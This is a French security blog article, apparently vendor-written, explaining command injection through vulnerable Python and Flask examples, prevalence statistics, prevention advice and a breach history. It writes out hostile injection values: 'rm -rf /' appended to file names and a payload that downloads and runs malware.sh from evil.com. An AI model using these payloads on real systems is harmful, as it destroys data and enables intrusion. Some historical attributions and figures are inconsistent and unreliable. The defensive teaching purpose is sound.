Qu'est-ce que l'injection de commande ?
L'injection de commandes est une vulnérabilité encore très répandue dans les applications web, bien qu'elle soit moins connue que ses cousines l'injection SQL ou l'injection de code. Si vous êtes familier avec d'autres vulnérabilités d'injection, vous reconnaîtrez le principe commun : une entrée utilisateur non fiable n'est pas correctement validée, ce qui conduit à l'exécution de commandes système arbitraires. Cette faille se produit lorsque des données non validées sont transmises à des fonctions de niveau système. Quelle est l'importance de l'injection de commandes ? Nous avons examiné la fréquence de cette vulnérabilité dans la nature, et *spoiler*, elle est étonnamment courante !
Exemple d'injection de commande
Prenons l'exemple suivant d'injection de commande : supposons que vous ayez une application dans laquelle vous pouvez saisir le nom d'un fichier hébergé sur un serveur. L'application récupère ce fichier en écrivant son contenu. Le code correspondant est le suivant
import os
file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")
Le code ci-dessus s'attend à ce que l'utilisateur insère un nom de fichier tel que fichier.txt mais au lieu de cela, un utilisateur malveillant injecte du code pour exécuter des commandes malveillantes.
Par exemple
Nom du fichier : file.txt ; rm -rf /
Cette entrée affiche d'abord le contenu de fichier.txt et exécute ensuite le fichier malveillant rm -rf qui supprime de force tous les fichiers d'un répertoire.
L'utilisateur malveillant peut faire cela parce que l'application n'a pas validé ou assaini l'entrée de l'utilisateur, ce qui rend l'application vulnérable à l'injection de commandes.
Si vous souhaitez un exemple plus complet, consultez le contenu bonus au bas de cette page.
L'injection de commande en chiffres : Nos recherches
- 7% de toutes les vulnérabilités trouvées dans les projets open-source en 2024 étaient des injections de commande.
- 5,8 % pour les projets à code source fermé !
- Une augmentation du nombre total de vulnérabilités par injection de commandes dans les projets open-source , qui passerait de 2 348 (2023) à 2 600 (2024).
- En pourcentage de toutes les vulnérabilités, l'injection de commande devient moins populaire: une diminution de 14,6 % et de 26,4 % pour les projets open-source et closed-source respectivement de 2023 à 2024.
Notre recherche s'est concentrée sur l'étude des projets à code source ouvert et à code source fermé afin de déterminer combien d'entre eux contenaient des vulnérabilités d'injection de commande.
Dans l'ensemble, le nombre de vulnérabilités par injection de commandes est très élevé : 7 % de toutes les vulnérabilités signalées dans les projets à code source ouvert sont des injections de commandes et 5,8 % dans les projets à code source fermé. Ce chiffre est assez proche du nombre de vulnérabilités par injection de code SQL trouvées.
Il y a aussi de bonnes nouvelles à tirer de ces données, nous voyons une tendance solide à la réduction de ces vulnérabilités de 2023 à 2024. En pourcentage de toutes les vulnérabilités, nous avons constaté une réduction de 27 % dans les projets à code source fermé et de 14 % dans les projets à code source ouvert. Il est probable que de nombreux facteurs contribuent à cette évolution, mais l'un d'entre eux est que le FBI et la CISA ont signalé en 2024 que l'injection de commandes constituait une menace réelle et ont exhorté les fournisseurs à y prêter attention. D'après les données, cet avertissement a été entendu.
Les bonnes nouvelles s'arrêtent malheureusement là. Nous constatons toujours une augmentation du nombre global de vulnérabilités signalées dans les projets open-source. Le nombre total de vulnérabilités par injection signalées dans les projets open-source est passé de 2 348 en 2023 à 2 450 jusqu'à présent en 2024 (on s'attend à ce qu'il atteigne 2 600)
Comment prévenir l'injection de commandes
La prévention des vulnérabilités liées à l'injection de commandes nécessite une approche à multiples facettes :
Validation des entrées côté serveur
Une erreur fréquente consiste à n'effectuer que la validation côté client, qui peut être contournée par un pirate effectuant une requête directe.
import subprocess
# Exemple d'entrée restreinte
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # Cela devrait venir de l'utilisateur, mais est validé
if user_input in allowed_files :
subprocess.Popen(['ls', '-l', user_input])
else :
print("Entrée non valide !")
Éviter les commandes shell
Remplacez les commandes de l'interpréteur de commandes par des fonctions ou des bibliothèques propres au langage lorsque cela est possible. Voici un exemple d'utilisation du mode lecture seule pour ouvrir un fichier et lire les contextes qu'il contient.
with open("file.txt", "r") as f :
print(f.read())Tests automatisés
Utilisez des outils comme Aikido pour analyser votre code source et votre application afin de découvrir ces vulnérabilités.
Utiliser un pare-feu intégré à l'application
L'une des meilleures défenses contre les attaques par injection est un pare-feu in-app qui est capable d'attraper et de bloquer les commandes malveillantes. Le pare-feu in-app d'Aikido, Zen, disponible en open-source et en version commerciale, est capable de détecter et de bloquer les attaques par injection au moment de l'exécution.
Appliquer le principe du moindre privilège
Configurer les applications et les utilisateurs pour qu'ils s'exécutent avec les privilèges minimums nécessaires, afin de réduire les dommages potentiels liés à l'exploitation.
La voie à suivre
L'injection de commandes ainsi que de nombreuses vulnérabilités d'injection est un défi, d'un point de vue technologique, nous l'avons résolu, ce qui signifie qu'il n'y a pas besoin d'avoir ce type de vulnérabilité dans vos applications. Cela étant, le fait que nous voyions encore autant de vulnérabilités de ce type signifie qu'il ne faut pas s'attendre à un bond en avant en matière d'amélioration.
L'injection de commandes restera un problème, mais comme nous avons constaté une baisse significative cette année, les grandes organisations ayant mis l'accent sur cette vulnérabilité, il y a lieu de penser que l'injection de commandes pourrait devenir moins importante à l'avenir si nous continuons à sensibiliser les gens à ce problème.
Contenu bonus
Histoire de l'injection de commande : Brèches importantes
L'injection de commandes est une menace persistante depuis longtemps. En fait, une importante vulnérabilité d'injection de commande était présente dans bash de 1989 à 2014. Plus récemment, en 2024, l'importance de l'injection de commandes a été soulignée par la CISA et le FBI, ce qui montre qu'il s'agit toujours d'une préoccupation majeure.
1. Les débuts de l'injection de commande
- Première utilisation connue : Les vulnérabilités liées à l'injection de commandes sont apparues avec l'essor des systèmes informatiques multi-utilisateurs dans les années 1970 et 1980, permettant aux attaquants d'exécuter des commandes arbitraires par le biais d'entrées non nettoyées.
- Années 1980 et 1990 : La prolifération des technologies web a conduit à une exploitation accrue de l'injection de commandes, en particulier par le biais de scripts CGI mal sécurisés.
2. Brèches et exploits importants
- 1998 : Première attaque documentée par injection de commandes sur le web : Une vulnérabilité dans un script CGI basé sur Perl, largement utilisé, a été exploitée, marquant l'un des premiers incidents majeurs d'injection de commandes sur le Web.
- 2010 : Ver Stuxnet (injection de commande intégrée) : Stuxnet a utilisé l'injection de commandes pour cibler les systèmes de contrôle industriels, démontrant ainsi la portée de la vulnérabilité au-delà des environnements informatiques traditionnels.
3. 2010s : Exploitation à grande échelle
- 2014 : Vulnérabilité Shellshock: Shellshock (CVE-2014-6271) a exploité le traitement des commandes de Bash, affectant des millions de systèmes dans le monde.
- 2018 : Cisco ASA VPN Exploit (CVE-2018-0101): Une vulnérabilité d'injection de commande dans le logiciel ASA de Cisco permettait l'exécution de code à distance, compromettant la sécurité de l'entreprise.
4. 2020s : Exploits et tendances modernes
- 2020 : Exploitation de la passerelle ADC de Citrix : Des attaquants ont exploité des vulnérabilités d'injection de commandes dans les systèmes Citrix, ce qui a entraîné d'importantes violations de données.
- 2023 : Vulnérabilité de MOVEit (injection de SQL et de commandes): Une faille d'injection de commande dans le logiciel de transfert MOVEit a conduit à des violations de données à grande échelle dans de nombreuses organisations.
Vulnérabilité de l'injection de commandes réalistes
Le code de la vulnérabilité
Examinons un exemple un peu plus complexe d'injection de commandes. Vous trouverez ci-dessous le code d'une application web Python simple. Elle permet aux utilisateurs de créer une archive ZIP de fichiers spécifiés en envoyant une requête POST à l'adresse /archive l'itinéraire.
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/archive', methods=['POST'])
def archive_files():
files = request.form.get('files') # User provides file names to archive
archive_name = request.form.get('archive_name') # User provides archive name
command = f"zip {archive_name}.zip {files}" # Command built dynamically
os.system(command) # Execute the system command
return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
app.run(debug=True)Comment ça marche
L'utilisateur fournit :
dossiers(par exemple,fichier1.txt fichier2.txt) pour spécifier les fichiers à inclure dans l'archive.Nom de l'archivepour spécifier le nom de l'archive zip résultante.
Le code construit une commande shell de manière dynamique :
1. zip nom_de_l'archive.zip fichier1.txt fichier2.txt
2. Les os.system() exécute la commande, permettant aux données fournies par l'utilisateur de dicter son comportement.
Exploitation
Un attaquant exploite ce problème en injectant des commandes supplémentaires dans le fichier Nom de l'archive ou dossiers les entrées.
Données fournies par l'attaquant :
Nom de l'archive:mon_archive ; rm -rf /dossiers:fichier1.txt
Le commandement qui en découle :
zip my_archive.zip file1.txt ; rm -rf /
zip my_archive.zip file1.txt: Crée une archive comme prévu.; rm -rf /: Supprime tous les fichiers du serveur en exécutant une commande destructive distincte.
Un exemple plus sophistiqué
L'attaquant peut exploiter cette situation pour télécharger des logiciels malveillants ou exfiltrer des données :
Nom de l'archive: archive ; curl -o malware.sh http://evil.com/malware.sh ; bash malware.sh
Commande résultante :
zip archive.zip file1.txt ; curl -o malware.sh http://evil.com/malware.sh ; bash malware.sh
Cette commande :
- Crée une archive (
zip archive.zip file1.txt). - Téléchargement de codes malveillants (
curl -o malware.sh http://evil.com/malware.sh). - Exécute le logiciel malveillant (
bash malware.sh).
.svg)
.jpg)
.jpg)
.jpg)
.jpg)
